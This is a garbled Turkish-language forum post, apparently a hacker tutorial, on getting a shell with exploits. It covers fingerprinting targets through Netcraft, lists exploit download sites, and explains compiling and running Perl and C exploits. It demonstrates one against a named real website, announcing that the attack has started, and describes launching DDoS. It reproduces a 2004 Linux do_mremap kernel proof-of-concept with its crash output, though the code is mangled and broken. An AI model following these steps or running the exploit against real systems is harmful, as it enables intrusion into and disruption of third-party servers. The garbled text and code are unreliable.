exploitkısa olarak shell :uzaktaki servera bir bilgisayara bağlanarak o bilgisayarı kısıtlı haklarla kendi bilgisayarımız gibi kullanmamıza yarar. telnet gibi kullanarak bağlanabiliriz.. telnet kendimiz putty kullanarak bağlandık sisteme exp kullanarak kendimize bir port açtık ve putty le bağlandık.. exploit c dilinde yazylyrlar az sayyda perl dilinde yazılmıştıryazıldıkları dilere gre uzuntıları farklıdır. c dilinde yazyldyysalar. c perl'de yazılmışsa. pl uzantılıdır. . exploit kullanmak içinshell yada active perl yada daha farklı derliyici lazımgenelde exploiti kullanmak için sistemin yapısına bakmamız lazım yani bulduğumuz açık o sisteme uyuyorsa sistemizden exp derleyip sisteme root olmanın imkanlarını ararız. sistemin işletim sistemi, sunucusu ve versiyonunu tespit etmenin yolu netcraft dır. www.netcraft.com adresinden hedef sitenin adı girilerek bu bilgiler elde edilir elde ettiğimiz bilgiye gre bulduğumuz exploitde aratırdığımız sistem zelliklerine uyan bir yer varmı tespit ederiz. exploitleri bulabileceğiniz siteler. www.phreak.org/html/exploits. shtmlhttp://www.k-otik.com/exploits/www. packetstormsecurity. nllinux shell deysek # bu işaret çıkar elimizde perl exp loiti olduğunu varsayıyorum win de dosyaların içeriklerii edit çekiyorsak bunda pico kullanarak içeriğini grebilirsiniz..#pico as. pliçeriğini grdük ctrl+x yaptık ve çıktık#chmod +x as. plderleme ok! #./as. plyada olmazsa#/as. pldeneyin artık çalışır halde expindirdiğiniz exploitin içinde nasıl kullanılacağı yazıyordur onun için kullanım hakında soru sormayın içinde yazıyor #perl as www.kayserituning.com/forum/index. php 66666 saldırımız başladı... rneklerimiz gerçektir. c leri derlemec'derlemede gcc -o exploit ve exploitadı. c seklinde exploiti derleyip çalıştırma haline getiriyoruz... shell'e 2 girdikddos yapıyoruz programla deil shell olarak #pico mremap_poc_2. ckodunu gsterdi içeriğini $ gcc -W -Wall mremap_poc_2. c && ./a. outmmap: Cannot allocate memorycreated 65530 VMAsnow mremapping 0x3FFE5000 at 0x3FFE1000Segmentation fault$ dmesg | tail -n 16kernel BUG at mmap. c:1194! invalid operand: 0000CPU: 0EIP: 0010: Not taintedEFLAGS: 00010287eax: 3ffe2000 ebx: ce189f80 ecx: ce189f38 edx: ce189f20esi: ce189fc4 edi: ce189f04 ebp: ce189ec0 esp: cf101f44ds: 0018 es: 0018 ss: 0018Process a. out (pid: 5371, stackpage=cf101000)Stack: ce189f80 ce189fc4 ce189f04 3ffe1000 3ffe1000 c012873f cf1b66e0 c01287c7cf1b66e0 ce189ec0 cf100000 00001000 cf1b66fc ffff0001 cf1b66e0 00000000c339df1c ce189ec0 cf100000 fffffff4 ce189e60 c0128896 3ffe5000 00001000Call Trace: Code: 0f 0b aa 04 21 f9 2d c0 8b 7c 24 10 8b 74 24 14 8b 5c 24 18$ cat mremap_poc_2. c/ Proof-of-concept exploit code for do_mremap #2 Copyright 2004 Christophe Devine This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA /#include <asm/unistd. h>#include <sys/mman. h>#include <unistd. h>#include <stdio. h>#include <errno. h>#define MREMAP_MAYMOVE 1#define MREMAP_FIXED 2#define MREMAP_FLAGS MREMAP_MAYMOVE | MREMAP_FIXED#define NR_real_mremap NR_mremapstatic inline _syscall5 ;#define VMA_SIZE 0x00003000int main {int i, ret;void base0;void base1;i = 0;while( 1 ){i++;ret = mmap( ( i (VMA_SIZE + 0x1000) ), VMA_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );if( ret -1 ) base0 = base1;base1 = ret;}printf ;base0 += 0x1000;base1 += 0x1000;printf( \"now mremapping 0x%08X at 0x%08X\\n\", base1, base0 );real_mremap( base1, 4096, 4096, MREMAP_FLAGS, base0 );printf ;return( 0 );} gcc -W -Wall mremap_poc_2. cyazdık derlendi ve çaılışır halde kodun başında yazıyor zaten nasıl yapılacağı arkadaşlar şimdi #./a. out ipadres 6667başladı ddos http://www.forumtr.com/attachment. php?attachmentid=153116&d=1104614321http://www.forumtr.com/attachment. php?attachmentid=153117&d=1104614321